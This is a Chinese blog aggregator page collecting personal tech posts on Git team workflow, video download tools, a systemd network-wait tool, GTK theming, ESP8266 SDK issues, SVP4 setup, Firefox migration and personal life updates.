社畜也快半年了,说实话工作确实没有学生生活有趣。每天基本都是坐在电脑前写代码,可能我是那种更喜欢新鲜生活的人吧。对于重复的生活很容易就厌倦了,但生活由不得自己,上班的理由很简单,仅仅是因为穷。学生时代写代码基本都是一个人单干,但进入公司就开始正式的团队协作,也算是学到很多团队合作的知识了吧。特别是利用Github进行高效的合作开发。

Github协作开发

首先是切换到需要开发的分支,这里我们假设要在dev分支上进行开发。

git checkout dev

然后,在dev分支上建立属于自己的分支。命名可以以功能命名也可以用解决的issue命名。例如:dev-add-page dev-issue20,之后再切换到自己建立的分支。

    git branch dev-issue20
    git checkout dev-issue20

这样,就可以在自己分支上开发了,开发之后push到服务器上,在请求pull request进行合并操作,在pull request的时候,可以让同事来进行代码review保证开发质量。

协作要用到的Github命令很简单,之后再说说经常用的其他命令。例如,当我们写了半天发现自己在错误的分支上进行了开发,该怎么处理呢?我们可以使用git stash命令来把临时修改隐藏起来。

    git stash 
    git checkout dev-issue20
    git stash pop

如果我们不小心在dev分支上直接进行了开发,可以使用上面的命令迅速把自己的修改切换到自己的分支上。

还有一种情况是,我们在自己的分支上进行开发的过程中,dev分支上合并了其他同时的代码,我们需要和dev分支保持一致。这时可以使用git pull origin dev分支来同步其他同事的代码,避免自己的代码和主分支产生冲突。

自己的分支在上传到服务器并合并之后通常服务器会删掉这个分支,但本地还是会保留。我们需要定期删掉自己本地已经合并的分支,这里推荐使用下面的命令。

git branch --merged | egrep -v "(^\*|master|dev)" | xargs git branch -d

正则表达式里面是不需要删除的分支。

有时候发现某个分支做的功能被砍掉了,然后需要删掉这个分支。可以使用下面的命令:

    git push -d origin 
    git branch -d 

分别删掉远程服务器和本地的分支。

有时候发现自己写的思路是错的,需要舍弃现在所有的修改,可以使用reset命令来重置。

    git reset --hard

当然这个操作比较危险,你应该慎用。

当你需要移除所有新加的文件,但这些文件还没加入库当中。你可以使用clean命令来清除所有新加文件。

    git clean -f

目前经常使用的就是这么多,如果大家有更好的学习Git命令的推荐资料,欢迎留言。谢谢!

参考:

Stack Overflow

高质量的Git中文教程

Jixun Moe's avatar

动漫花园 (dmhy.org) - 索引页批量复制磁链

这几天在内网的一个小机器部署了 Aria 2 后台,然后就想着扔一些东西进去。

然而这网站缺少批量下载功能,于是糊了个简单的脚本来实现。

安装:Greasy Fork

神楽坂伊織's avatar

俺说游戏EP07:我们的光环!(2)

暌违两个月的俺说游戏终于回来了!今天还是继续上期的话题,接着聊聊光环系列的更多作品和我们的光环之夜!
依云's avatar

放弃 you-get,转投 youtube-dl

本文来自依云's Blog,转载请注明。

you-get 是一个视频下载工具。我于七年零一周前(2012年9月7日)在 AUR 打包并维护其 git 版本。当时还是叫 python-you-get-git,后来根据 Arch 官方的推荐,与语言没什么关系的软件不带语言前缀,改名为 you-get-git

youtube-dl 是另一个差不多同时期出现的视频下载工具,一开始主要针对 YouTube 等跨国网站。

选择 you-get 一部分原因是当时它对国内网站的支持更好,另一方面也是支持国产。但是今天,我决定放弃 you-get 了。

五年来,我一直是支持 you-get 的。也尝试过向其贡献代码。目前已经有29个提交被合并,排名第五位。基本上都是一些很小的修改,比如编码问题、未回收的僵尸进程、标题的反转义、ffmpeg 命令的特殊字符转义、支持 python -m 调用、视频链接的解析更新和扩充、进度条的修正和优化,等等。

其实这些年来,我一直想做更多事:

  • 可选地使用 requests 库,以提高解析速度,改善用户体验
  • 支持使用 aria2c 下载视频链接
  • 支持网易云课堂的更高清晰度的未内嵌字幕的视频(pr#1002
  • 解析更准确的信息
  • 一些其它网站的解析器(比如 bilibili 的 bangumi.bilibili.com 子域)

但是,其中很多都没能完成。勉强完成的也很奇怪:明明是针对网易云课堂的解析,我还非得关心网易云音乐。一直以来,我对 you-get 的修改都是事倍功半。我也曾尝试过更深入的修改,但是牵一发而动全身,往往要改就得改很大很大一部分代码,然后完全没有办法保证其正确性。就像今天的事情一样。

我花了数小时的时间,牺牲睡眠,把命令行选项解析由 getopt 改成了 argparse(pr#2260)。促使我做此修改的原因是,我想下载 bilibili 一整个播放列表的视频。我记得 you-get 有下载整个播放列表的功能。但是我读了好几遍 help 信息,都没有找到那个选项。我记错了吗?阅读源码之后,我终于找到了那个选项。同时,我也看到了在 C 和 bash 代码里经常看到的,一长串 if/else 来解析命令行选项。翻了好几屏。

当一个相对独立的代码片断翻屏时,bug 数量会骤增。

曾经在公司里遇到过一个 case,非常直接地证明这句论断是有多么正确。那个函数刚好超过一屏数行,而在第二屏的那部分代码,有个「}」和「return」的顺序写反了。我也是拿 Vim 的匹配括号跳转功能才发现的。

当然了,不管怎样的代码,不动它是不会出新问题的。然而我动了它。回报我的是两个局部变量名忘记改了:pr#2346pr#2355

这种问题在 nvchecker 重构以支持 aiohttp 时并没有发生。为什么呢?我们有测试。如此明显的问题,只要 cover 了必然会发现。所以我可以放心大胆地重构。

you-get 呢?you-get 也有测试。我在提交 pull requests 之后有个习惯:盯着未完成的测试,直到它变绿。如果红了,赶紧看看是不是自己代码的问题,是就赶紧修掉。一些项目(比如 Tornado)的测试本地跑起来要配置环境、装不少东西,太麻烦了,所以我习惯先提了 pr,然后等 Travis-CI 的结果。可这次,测试过了。但是有两个重要的功能却并不能正常工作。

其实呢,对于这种简单的错误,通常 linter 会告诉我的。我有装 neomake,全面支持各种 linter,用起来十分惬意。但 pylint……就像 jslint 一样,我很讨厌它们。因为它们不仅检查潜在的问题,同时还检查代码风格。而代码风格这事是每个项目单独配置的,而不是开发者自己配置好,然后让自己参与的所有开源项目都遵守。不过今天我也终于知道了另一个 Python linter——pyflakes 很对我的味口:只管问题,不管风格。

总之呢,由于各种原因,重写中出了这么两个直接立刻让用户不能用的 bug。很抱歉。一般来说,出错了就改呗。更深入一些,分析一下为什么会出现这种错误,今后怎么避免同样的错误两次出现(早年向 Tornado 提交代码时,Ben Darnell 一个简单的行为教会了我一件事:修了 bug 就写个对应的测试)。但是 you-get 的协作者 rosynirvana 不按惯例来,反而要求放弃此修改。如果就如此也就算了,后续讨论中我意识到了一个真相——为什么我在 you-get 上的工作如此困难?

The best part of you-get is that it's not so pythonic so those who only know js or as3 can take part in, moving from the universal getopt to a py-domain-specific library cannot be a nice idea.

source

What library nowaday pythonists love do not really matter here because those one know js and as3 can contribute even more in this project.

source

因为 you-get 根本就是反 Pythoner 的!作为一个 Python 项目,you-get 想要吸引的是 JavaScript 和 ActionScript 3 开发者!

我很震惊。

  • 作为 Python 开发者,我已被他们刻意排斥在外。
  • 作为 JavaScript 开发者,我还是觉得 C 好难写,还是 pythonic 的代码比较好维护啊。
  • 作为 C 开发者,我倒是对这种长达数屏的作用域见怪不怪了。不过重复的逻辑,咱一般会用宏之类的手段给整成声明式的啊。

所以,我的努力注定不会有多少效果。

然后,我看了一眼 youtube-dl。其实就瞟了一眼,也没看出太多东西来,但是

  • 按 URL 进行正则匹配的,网易云音乐和网易云课堂可以分开处理了!
  • 解析器以 class 表达,有组织有纪律!不用用 Python 的语法写 C 了!

我 disown 了 AUR 和 [archlinuxcn] 里的 you-get-git 包。关闭了未完成的 issue 和 feature pr。等修复 argparse 引入的错误的 pr 被合并(不管是只修正问题还是退回到 getopt),事一了,我就删掉仓库,只保留网易云课堂的高清视频解析代码(花了我一整天的)。已安装的 you-get 暂时保留,但首选 youtube-dl,遇到问题有时间就去修一下。已经投入到 you-get 的时间是沉没成本,不必留恋。

Jixun Moe's avatar

RabiRibi v1.85 - 简易修改器更新进展 1

作者现在好像开了编译器优化,很多代码被打乱了 _(:3__

v1.85+ 支持可能要等周末慢慢磨了。

目前特征码定位是做好了,但是很多依附游戏自身功能的代码一旦执行就崩溃。


▲ 触碰敌人后,游戏崩溃

依云's avatar

等连上互联网之后再来找我吧

本文来自依云's Blog,转载请注明。

最近公司弄了 Wi-Fi 登录。就是那个叫 captive portal 的东西。

Android 早就会在连接 Wi-Fi 时检测网络是不是要登录了,为此 Google 弄了个 /generate_204 的 URL。小米、高通、USTC、v2ex 也都提供了这个东西,方便广大中国大陆 Android 用户使用。(我发现我的 Android 使用的是高通的地址,没有用 Google 的。)

但我使用的 Arch Linux 自行开发的 netctl 网络管理工具没这种功能。火狐倒是不知道什么时候加上了,不过使用的地址 http://detectportal.firefox.com/success.txt 是返回 200 的。

所以我启动火狐就可以看到要登录的提示了。然而问题是,其它程序不知道要登录啊。像 offlineimap、openvpn、rescuetime 这种还好,会自己重试。可每次网络需要登录的时候 dcron 就会给我发一堆邮件告诉我我的 git pull 都失败了……当然还有我老早就注意到的 pkgstats,经常会因为启动过早而无法发送统计数据。

所以呢,得想个办法,等连上互联网之后再跑那些脚本啊服务什么的。

检测是不是连好了很简单,不断尝试就可以了。但我需要一个系统级的 Condition 对象来通知等待方可以继续了。然而我只知道 Linux 有提供信号量。难道要自己弄共享内存来用么?

#archlinux-cn 问了一下,farseerfc 说试试命名管道。我想了想,还真可以。只有读端的时候进程就会阻塞,一旦有写端就能成功打开了。当然没有读端的打开写端会打不开,不过没关系,反正这进程也不能退出,得一直拿着这个文件描述符。

没想到很少用到的命名管道有意想不到的用法呢。我以前还为了不阻塞而专门写了篇文章呢。

于是负责检测网络连通的 check-online 和等待网络连好的 wait-online 都写好了。

check-online 应当是个服务。那就交给 systemd 吧。然后……systemd 不是有个 network-online.target 么?正好可以让 check-online 来达成这个目标呢,多合适呀。

于是服务写好了。测试了几天,大成功!不仅 wait-online 很好地工作了,而且我发现 openvpn 和 pkgstats 自动排到 network-online.target 后边去了。nginx 的 OSCP staple 经常因为 DNS 失败而无法成功,我也可以在联好网之后去 reload 一下它了。(不是强依赖,我可不希望连不上网的时候我本地的 wiki 也访问不了。)

整个项目就叫作 wait-online,在 GitHub 上,欢迎送小星星哦~Arch Linux 包可以从 [archlinuxcn] 仓库 安装 wait-online-git 包。

's avatar

我关闭了我绝大部分的所谓服务,以及为什么

最近三个月,我陆续关闭或私有化了一大堆我开设的所谓服务:

Tiny Tiny RSS 服务器

我现在把我自己的 Tiny Tiny RSS 服务器迁移到了我的 NUC 上了。

tcdw.github.io 的博客镜像

我最后居然不懂为什么要这样玩,我好蠢啊。真的会有人从 git 在乎我博客的更新吗?

吐槽大王星球

其实是我对星球的意义还是没完全理解,以及几乎没人看(从服务器日志看)。

吐槽大王知识库

我写的若干笔记,最后发现只有自己看得懂,而且很容易过时。

其它纯粹浪费资源的

  • Typecho 等 CMS 测试站
  • 吐槽大王论坛 (Flarum 版)
  • 奇怪的 API 集合站

结论

我关闭了那些浪费资源的东西,删除了我的美国 VPS,我感觉好开心啊!!再也不用折腾那些麻烦的、没人在乎的东西了!

撒花

liwanglin12's avatar

自建邮件服务小记

使用 mailcow-dockerized 项目搭建自己的邮件服务器
青色旋律's avatar

JavaScript: 从入门到放弃 | 第三讲: 条件和循环语句

大家好~经过漫长的等待,青色旋律终于决定继续填 JavaScript 教程的大坑了。上次的 第二讲 之后过了这么长 时间,相信大家都差不多已经放弃了 JS 吧?如果还没有的话,这么长的时间,上次的 作业 做完了吗? 总之,请各位先提交作业,然后请继续看这次的内容吧。

JS 的控制语句本身并没有太多难点,和 C 语言一系列的很像。如果各位之前没有学习过 编程的话,可能会需要一点时间理解一下语句执行机制和控制流。但如果已经学习过的话, 应该只需要熟悉下语法即可。 ES2015 (ES6) 以来, JavaScript 也加入了一些新的语句和语法,比如一个新的循环语法,也可以适当 熟悉一下。

大家,和青色旋律一起继续愉快的 JavaScript 旅途吧~

(此文经过了彻底重写,和之前学习小组的讨论记录完全不同,看过讨论记录的建议重新 读一次本文,相信一定会有收获。这次的各语句介绍更详细,且增加了 ES2015 等内容。)

青色旋律's avatar

JavaScript: 从入门到放弃 | 第二讲: 数组、对象和其他类型

大家好~青色旋律又和大家又见面了。这一次带来的是 JavaScript 教程的第二篇。嗯, 经过 第一次的讲解 ,相信已经有不少人放弃了 JS. 这一次为大家带来的是 JS 各种类型的讲解,可能会更加困难呢,希望大家做好准备~

JS 的类型机制一直以来都被人认为是最坑的几个领域之一。这次的内容是数组、对象和其他 类型,并着重介绍 JavaScript 与其他语言不同的地方,讲解语言规范的行为和规避误区。 假如各位已经学过了其他语言,可以放心阅读。如果没有学过的话,可能需要自己适当进行补充。

不过在此之前,同学们请把 上次的作业 交上来~这次会首先讲解上次的作业。大家,和青色旋律一起继续愉快的 JavaScript 旅途吧~

(此文经过了彻底重写,和之前学习小组的讨论记录完全不同,看过讨论记录的建议重新 读一次本文,相信一定会有收获。主要加入了类型的详细说明和 ES2015 新特性。)

青色旋律's avatar

JavaScript: 从入门到放弃 | 第一讲: 变量、值和类型

JavaScript 一直以来都被认为是最适合做网页的语言,同时也是公认坑第二多的语言。 (什么?坑第一多的语言是哪家?这还用问吗?)

无论您有多努力,总有一天您必定会放弃 JS. 当然,如果您足够努力的话,也许可以坚持 到 JS 语言废弃也说不定~

好了,负能量就到这里吧,如果您准备好了,那么就和青色旋律一起开始愉快的 JavaScript 旅途吧?

(此文根据之前JS学习小组的讨论进行整理,类似讨论笔记。)

依云's avatar

改了一下 GTK 3 的默认主题

本文来自依云's Blog,转载请注明。

最近开始用 Firefox nightly 了。它使用 GTK 3,于是对 GTK 3 主题的不满也逐渐表现出来了。

首先是选中的文本,以及菜单项。默认的那个蓝色太深了,我还是更喜欢 GTK 2 mist 主题那个浅蓝色。

然后,我是使用亮色主题的,黑黑的 tooltip 提示框太违和。而且边距那么大,多浪费空间啊。改成 GTK 2 时代那种简单的样子好了。

最后,那个又细又黑的滚动条好讨厌。改掉改掉!

最终效果图(好不容易才把这么多东西截到一张图里喵):

~/.config/gtk-3.0/gtk.css 代码:

/* For Adwaita {{{1
 */
/* scrollbars {{{2
 */
scrollbar {
  border-radius: 0;
  background-color: #eaeaea;
}
scrollbar slider {
  background-color: #bfbfbf;
  border-color: transparent;
  border-width: 4px;
  min-height: 10px;
  min-width: 10px;
  border-radius: 0;
}
scrollbar slider:hover, scrollbar slider:active {
  background-color: #bfbfbf;
}
/* tooltip {{{2
 */
tooltip {
  border: 1px solid #808080;
  background-color: rgba(254,254,228,0.9);
  border-radius: 0;
  padding: 0;
}

tooltip * {
  color: #000;
  padding: 0;
}
/* others {{{2
 */
*:selected, menuitem:hover {
  background-color: #d6e9f8;
  color: currentColor;
}

/* Vim modeline {{{1
 * vim:se fdm=marker:
 */
's avatar

2012 年的广告恶搞

5 年以后还是那么有趣

哦对了,这是我用 Windows XP 里的 MSPaint 做的

mmiaow's avatar

Day 10564 使用Photoshop将PDF转换为抗锯齿JPG

  由于工作原因,需要将手头的一批文字已经转换成轮廓的PDF文件转换为JPG图像。Adobe Acrobat支持直接将PDF文件另存为JPG图片,但由于某些不得而知的原因,转换出来的JPG图像惨不忍睹。

  如上图所示:上图为PDF在Acrobat或Reader中直接显示的效果,而下图为Acrobat导出的JPG,可以看到文字轮廓的锯齿十分严重,已经达到无法装作看不见的地步。

  在网上搜索一通,发现这个问题居然是个老大难:有人在2009年在Adobe官网提问,一直到8年后的今天都没有得到可用的答复;有的人说导出为PNG或TIFF格式,并提高导出时的精度,经实验并没有什么帮助;还有人说通过第三方在线服务进行转换,结果因为这个PDF文件太大(>100M),各种服务要么不接受,要么要我开付费账号,遂放弃。

经过实验,通过Photoshop打开PDF,并配合自定义的保存动作,通过批处理可以一定程度上解决这个问题,具体的处理方法如下(实验环境为Adobe Photoshop CS6):

  1. 创建『保存』动作(该步骤只需进行一次):
    • 新建一张图片,并将其填充成任意底色(该图片仅用于录制动作,稍后将丢弃)。
    • 在Photoshop中调出『动作』面板,新建一个动作,名称任意(建议设置为『保存JPEG』等易于辨认的名称,因为接下来批处理时还要选择它),此时Photoshop会开始录制动作。
    • 将一开始新建的图片执行一次『保存』动作保存为JPEG文件,文件路径及文件名随意,重点是在接下来的『JPEG选项』对话框中,设置最终批处理时要使用的保存选项,如:品质、格式选项等。
    • 按下『动作』面板上的『停止播放/记录』按钮,结束动作的录制。
  2. 导入PDF:打开要处理的PDF文件,此时将弹出『导入PDF』对话框,在该对话框中选择要导出的页面,并配置裁剪边界、分辨率等参数,然后点击『确定』。如果文件很大,导入过程会很慢,请等待Photoshop打开所有的页面。
  3. 批处理:
    • 点击文件—自动—『批处理』命令,在『播放』中选择之前创建的『保存JPEG』动作。
    • 『源』设置为『打开的文件』。
    • 『目标』设置为文件夹,并通过『选择(H)…』按钮选择保存的目标文件夹。
    • 勾选『覆盖动作中的“存储为”命令』。
    • 在『文件命名』中可以设置导出文件的命名方式及起始序列号。
    • 最后单击『确定』,文件将被自动依次保存到所选择的文件夹中。
  4. 后处理
    • 导出的文件可能顺序是颠倒的,可使用XnView、AcdSee等工具进行批量重命名。
Yeechan Lu's avatar

我的浏览器地址栏中的 A – Z(2017 秋)

前略,天国的 2017 酱。时光荏苒,又是半年过去。从镇江搬到上海,从学校进入公司,从淋了馄饨汤以至于两三年断电时间不超过二十分钟的 MacBookAir6,2 换成了崭新的 MacBookPro14,2,从镇江白天联通夜里电信的校园网变成了 24 小时的镇江移动、又变成了传说中的魔都电信。遇见了武汉,走过了西安,滑过了绍兴。即使如此,最近常用的浏览器仍然是 Google Chrome Canary (macOS & Windows)。

  • Airtable.com
  • Binux.github.io/yaaw/demo/
  • Cs.chromium.org
  • Dearti.me
  • E-hentai.org
  • Fastmail.fm
  • Git.orzfly.com
  • Hub.docker.com/r/gitlab/gitlab-ce/tags/
  • Ip.cn
  • Jd.com
  • Kuaidi100.com
  • Lab.hackplan.com
  • My.zerotier.com
  • Namesilo.com
  • Orzfly.com
  • Pan.baidu.com
  • Qcloud.com
  • Rm.66rpg.com
  • Strongpasswordgenerator.com
  • Taobao.com
  • U2.dmhy.org
  • V2ex.com
  • Weibo.com
  • Xiaomi.com
  • Yanfly.moe
  • Zerotier.com
imi415's avatar

关于ESP8266的SDK……

从Espressif(乐鑫)的GitHub主页clone了ESP8266的SDK,多数情况下master分支是无法正常工作的……
存在下列问题:

  1. lx106-hal库不包含在repo内( -lhal Link 不能)
  2. 驱动库编译不能(各种玄学报错,多数是 undefined symbol )
  3. 生成binary文件的时候会报错( Arch/Fedora 等 python -> python3 发行版专享错误)

解决方案:

  1. tommie/lx106-hal clone HAL API 库,按照文档编译生成 libhal.a 后复制到 $SDK_PATH/lib 下。
  2. 无解。 driver_lib 源代码与 SDK 的 API 版本不匹配,清真操作失败,请使用lib目录内提供的libdriver.a 。
  3. 修改 $SDK_PATH/Makefile 中与 $SDK_PATH/tools/gen_appbin.py 所有相关项的 @python@python2

おまけ

  1. 他提供的lib经常有内部的串口打印(不会特别多),如不想看到他就换个串口。
  2. RTOS SDK 的API不完整,无法使用Task列出相关函数(应该是保护专有代码用),但可列出Task总数( Station 模式下大概7个左右)。
  3. 26MHz 晶振对应的初始化串口分频为 74880 baud, Linux 下面就别折腾了,常用应用很难让他正确显示。
  4. 新版的 esptool 下载默认启用压缩传输,速度有大概20%的提升。
  5. WiFi 不见了的时候他的内部 Task 会反复尝试重连,设备不会进入 Light Sleep 等低功耗模式。需在用户代码解决。
  6. 不管选了什么晶振频率, esptool 都会正确下载。
  7. 不要被Datasheet骗了,除了 SPI 和 UART 之外的外设都是软件( GPIO Bitbanging )实现的。
  8. 接上条,所以任何没被占的 GPIO 口都可以被配置为 I2C ,都可以用的……
  9. 多数情况下板载 CP2102 的开发板都可以处理下载时的 GPIO 下拉,所以不用手动拉下去。
  10. 接上条,其他的模块都必须正确设置 GPIO0/2/15 。
  11. 他的 gen_misc.sh 本质上是设定 Makefile 参数,稍作修改可实现一键编译下载。
  12. 内置 FreeRTOS 的调度器在 user_init()之前已经启动,如需要 Task 启动即 block 请使用奇技淫巧。
  13. SPI 硬件只支持 Master 模式,想 Slave 的请移步 GPIO Bitbanging SPI。
  14. 可以 OD 输出,重复一遍,可以 OD 输出……
  15. CPU 发热/功耗不大,射频大……
  16. 接上条,不要尝试用其他 MCU 的 GPIO 给他供电,尽管有些模块长得很小巧……
  17. ……如果想到会在下面补充。
SgDylan's avatar

在 PotPlayer 中使用 VapourSynth 加载 SVP4

SVP 是很棒的视频插帧软件。SVP 看片爽过吸大麻(大雾)
但是一直以来这东西都是通过 ffdshow raw filter 加载 AviSynth 脚本的方式介入播放器作用的。
从某个版本开始,SVP4 开始支持 VapourSynth 加载,
但是官方的教程还没有跟进,所以就稍微说一下吧。
需要注意的是,这个功能需要 SVP4 Pro,使用 Free 版本的用户请买一份 Pro 先。
顺便,感谢字幕组压片dalao @hoshinokun 的帮助。

实际步骤很简单

第一步:
打开 SVP4 的 所有设置 ,找到 potplayer 的属性,
nativeprefer_avisynth 分别改成 truefalse
需要注意的是,你看到的界面里是没有 prefer_avisynth 属性的。
需要设定好 native 属性后,关闭播放器及 SVP4,再重开 SVP4 才看得到。

第二步:
SVP 4\mpv64 下的 VapourSynth.dll 拷贝到 PotPlayer 的安装目录下。
需要注意的是,如果你本来就安装有 VapourSynth,
请不要把 svpflow 的两个 dll 放在 VapourSynth\plugins64 文件夹。

第三步:
右键 PotPlayer 窗体,戳中 视频 -> VapourSynth -> 使用 VapourSynth

然后就可以去看视频了~ 理论上会有更低的资源消耗
PS. SVP 日志会提示 Playback [45bd34d1]: frame transformations are disabled in this video player,咱也不知道为何,先不管吧。

SgDylan's avatar

在视频处理中使用SVP4

SVP 是一个不错的视频插帧工具,可以通过详尽的参数设定处理出适合自己的高帧率视频。
目前,SVP 的主要版本是 SVP4。
本次主要记录的是使用 SVP4 配合视频压制工具制作高帧率视频的过程。

SgDylan's avatar

使用 ESP8266 搭建 IoT 节点

刚好要买 ARM 板子,就顺手一并买了一块传说中的廉价 WiFi 开发板——使用 ESP8266 的 NodeMCU 。
那么就来说说这块据说性能强大、价格低廉,且可以写脚本语言的开发板。

SgDylan's avatar

一种阻碍DPI检测上网设备数量的方法

背景
学校最近把三家运营商都并入校园网了,使用一套名为深澜的系统对绑定不同运营商的用户自动加载不同的路由实现网络流量走不同的 ISP 出口。同时,大概是为了更大地盈利,加入了 DPI 和缓存服务器,并同时屏蔽了外部网络的 53 端口。
至此,接入校园网的用户无法使用默认使用 53 端口的 DNS(TCP/UDP),同时只允许接入三台上网设备。

17windy's avatar

[Wall Hole Miu 加强版] V0.56 全版本 来Play美羽姐姐吧!

WallHoleMiu0.56 【加强版】 更新日志

1,增加安卓游戏版本

2,增加了许多设定,例如特效、咸鱼、分数记录、新敌人、随时间改变的难度、等……

3,微调了部分细节设定,降低前期难度

官方网站:https://17.works

用户无需支付任何费用即可获得该软件的拷贝。用户在保证该软件拷贝的完整性的前提下,可以通过任意方式再分发该软件拷贝。

PS:
左上角的咸鱼标志是退出按钮嗷~~
小游戏还希望大家抱着休闲的心情来玩,闲了玩个两三分钟就好。

百度云整合链接(自行选择下载的版本):
链接:http://pan.baidu.com/s/1c2gvacK 密码:u656

 

喵窝社区联动发布帖子:

https://bbs.nyaa.cat/d/1120-wall-hole-miu-0-56-play

Dimpurr's avatar

再见高中,以及你好大学。

现在我正坐在北邮宏福校区的软院学二宿舍楼,久违的码一篇博客文章。那么,就让我从高考结束那一天,一直写到大学报到开始这一天吧。写写这看起来没必要写在同一篇文章里的,跨度巨大的两件事,以及夹在其中的,如同以往的小学毕业、初中毕业一样不普通,而更长、意义更加特别的一个高中毕业暑假。

本文来自 钉子の次元 - Dimpurr - 千里之行,始於足下。 ,原文地址 再见高中,以及你好大学。

依云's avatar

新的火狐,新的旅程

本文来自依云's Blog,转载请注明。

今年底火狐将不再支持旧的基于 XUL 的扩展了。火狐53已经不支持 GTK 2 了。每人一只与众不同的火狐的时代行将结束,而生活仍要继续。

使用 ESR 版本只是短暂地续命罢了,stylo 也用不了。正巧ヨイツの賢狼ホロ[archlinuxcn] 仓库打包了可以与已有版本共存的 firefox-nightly 包,于是新的旅程开始了。

一开始,我尝试喂给它旧的 profile(复制了一份,然后用 firefox-nightly -no-remote -P 启动)。我原本有64个扩展,结果只有六个还兼容……

不如像之前升级火狐4那样,重练好了。重新取一块干净的画布,从头开始。

结果比预期中的好很多。

首先,新火狐很快。我不想办法关动画了。我不担心开新的窗口耗时了。多进程的架构也使得我不那么害怕单个标签页卡死导致什么也做不了了。不过不知道是进步明显,还是我那几十个XUL扩展太拖累了。

然后,同步很好用。虽然同步的内容有限,但是比手工搬移一些数据好多了,也可以把标签页发送到另外的设备阅读。同步的数据包括:书签,历史,表单自动填充,密码,从AMO安装的扩展(不过只会安装最新稳定版),部分首选项(只是一部分,所以还是有不少需要手动调整)。打开的标签页也可以从另外的设备看到。我同时也在 Android 上登录了同步,这样访问历史可以同步,方便在不同的场景下继续阅读。

不过也有点问题。首先是 tampermonkey 支持同步从URL安装的脚本,但是呢,一开始它没同步过来,我手动安装了。然后它又不知道什么时候同步了一份,于是重复了。删掉重复的,又过了一段时间,同步过来的那份也消失了……

还有一些设置上的调整。about:config 打开,搜索 x-western,改成 sans-serif 字体。剩下的中日韩字体设置,这次我直接在 fontconfig 那边配置了,就不用在火狐里点来点去的了。

安装中文语言包之后([archlinuxcn] 源里有),搜索 locale,把 en-US 改成 zh-CN。

搜索 urlbar,关闭自动填充、双击全选、隐藏 http:// 和 ftp://,地址栏建议数量增加为15,关闭搜索引擎的建议。

定制一下工具栏,使用紧凑布局,把不需要的扔掉,用得少的放进收纳盒里去。RSS 按钮丢最右上角好了。侧栏还是显示左边吧,那按钮也放左边来。

导入旧的书签。开了同步的话,注意一定不要从备份中恢复书签!因为恢复的时候会删掉已有的所有书签,包含移动端书签。导出成 HTML 再导入就会合并了。

打开 InoReader 设置界面,把 InoReader 添加为RSS阅读器。

最后就是各种扩展了。许多扩展没有迁移到 Web Extensions,但是一些还是有替代方案的。具体可以看这个表格。然后是配置这些扩展,包含各种扩展数据的导入。

还有很多扩展没有替代品,那也只能放弃了。有些扩展目前是不可能在 Web Extensions 上实现的。至于 UI,算了,接受现实吧。其实 nightly 的 GTK 3 界面做得比最开始的版本已经好了很多。

哦对了,我还换了个轻量级主题。之前使用的 White Lily,已经下架很久了。这次我换了这个,明快简洁,挺好看的。

具体扩展的介绍,我准备单独写一篇,这里就不多说了。

在导入网易云音乐的播放列表(我没有登录)的时候,我还发现一个事儿:火狐52的 devtools 有 bug,并不会显示 localStorage……

总体感受,忍痛割爱之后,又是一片新天地。nightly 确实很快。

's avatar

MacBook Pro

在这篇文章发表的时候,我已经入手快半个月了。

我入手的是 13 寸 8 GB / 256 GB 的版本,因为这个配置对我足够了。

从 Windows 到 macOS,我担心的问题居然一个都没出现:

  • 对 macOS 操作不适应:虽然我以前从没用过 macOS,但真的上手以后发现驾驭它如此容易,除了鼠标滑轮方向跟 Windows 是相反的(虽然可以改);大概是因为我用过很长时间桌面版 Debian Linux,玩过好几种桌面的缘故吧。
  • 找不到需要的软件:我在 Windows 和 Debian 上经常使用的软件,在 macOS 上基本能找到;个别几款 Windows 的小工具,用 Wine 搞定了。
  • 无法在线交易:支付宝和中国银行网银,在 macOS 上的 Chrome 工作很正常,甚至不需要安装额外的插件。

不过让我有点失望的就是,Mac App Store 里除了 QQ,要啥没啥,连 Chrome 都没有(因为我的账号是国区的?),好在在不同软件的官方网站都能找到。

至于硬件的特点……好吧,我承认这是我第一次认真的用一台笔记本电脑,所以我也说不出个所以然。之前虽然有属于自己的电脑,然而那是台台式机。

不过电池续航还是可以的,比我家一台 2011 年的初代 i3 戴尔笔记本强 100 倍

虽然只有两个 Type-C 接口和一个耳机接口,不过问题不算太严重,因为我暂且用不着那么多外设,至于 U 盘和移动硬盘,用之前给 XZ Premium 买的 USB 3.0 OTG 线可以搞定。

于是,我现在会跟三大操作系统打交道了——Windows 10(家里的台式机)、macOS Sierra(我的笔记本)和 Debian Linux(闲鱼收的 NUC,角色是挂机下载、文件和 Time Machine 服务器)。

其实我还是很反感那堆 macOS 的脑残粉,仿佛只有 macOS 才可以拯救世界……然而我只是加了个新工具罢了。

顺便晒一下我凌乱的桌子:

HY's avatar

HDMI Switcher

因为入手了PS4,手头的显示器和音箱只有一套,于是就需要PC和PS4公用这套显示器和音箱了。 解决方案很明显的 […]
's avatar

不知不觉已经是八月了

总感觉不在状态呢。

这段时间做了什么呢

怎么感觉自己什么都没做呢……

图形学的大作业圆满地完成了,不过还是有一些遗憾。

另外开了个知乎专栏,说起来要不要把内容也发在其他平台呢(

给 CanvasArt 增加了一个 WebGL 的 8-bit shader,可以在这里看到。

还去ppy那里混了个 osu 和 osu-web 的 contributor……

总之

时间不知不觉之间就过去了。

最近的我似乎总是有一种无力感,虽然可以把原因推给最近的种种坏消息,但是这样还是不对啊。

至少,还没有彻底绝望呢。明天也要努力的制造着什么呢。

依云's avatar

我为什么离开新浪

本文来自依云's Blog,转载请注明。

时隔两年,终于还是来写这篇文章了。

其实之前已经想写过多次,但是部分内容写起来十分消耗精力,所以一直没动手。但现在无所谓了。

名字问题

每个人都有名字。大部分人的名字都不是自己的,因为那是父母起的。自己相信它是自己的,然后不知道是它真的变成了自己,还是自己变成了它

然而我不要变成它。

在自由之前,呃,也就是经济独立、远离父母之前,我其实对于我自己是没有太多感受的。只是不断地按照他们的要求或者自己的兴趣,学习科学知识,上学考试,吃饭睡觉。甚至给仇人下跪。

后来,我终于自由了。至少是在客观上自由了。我开始渐渐地觉察到自己的存在,自己的需求、自己的感受。我开始变成真正独立自主的人。

然而,那个人给起的名字,却总是提醒我,曾经的伤痛,曾经只能把自己的想法深深地埋藏在心底不敢说出来,曾经不怎么敢说话,怕稍一不小心,哪句话就会激怒那个人。曾经为了生存,我尽量降低自己的存在感,好不招惹麻烦。

那是我不愿意面对的过往。我宁愿永远忘记它们,当作一切没有发生过。但是,看到那个人给起的看似威武、实则俗气的名字,我经常会想起那个人,想起那个人的凶狠,想起那些黑暗的日子,想起那些我憎恶暴力的缘由。

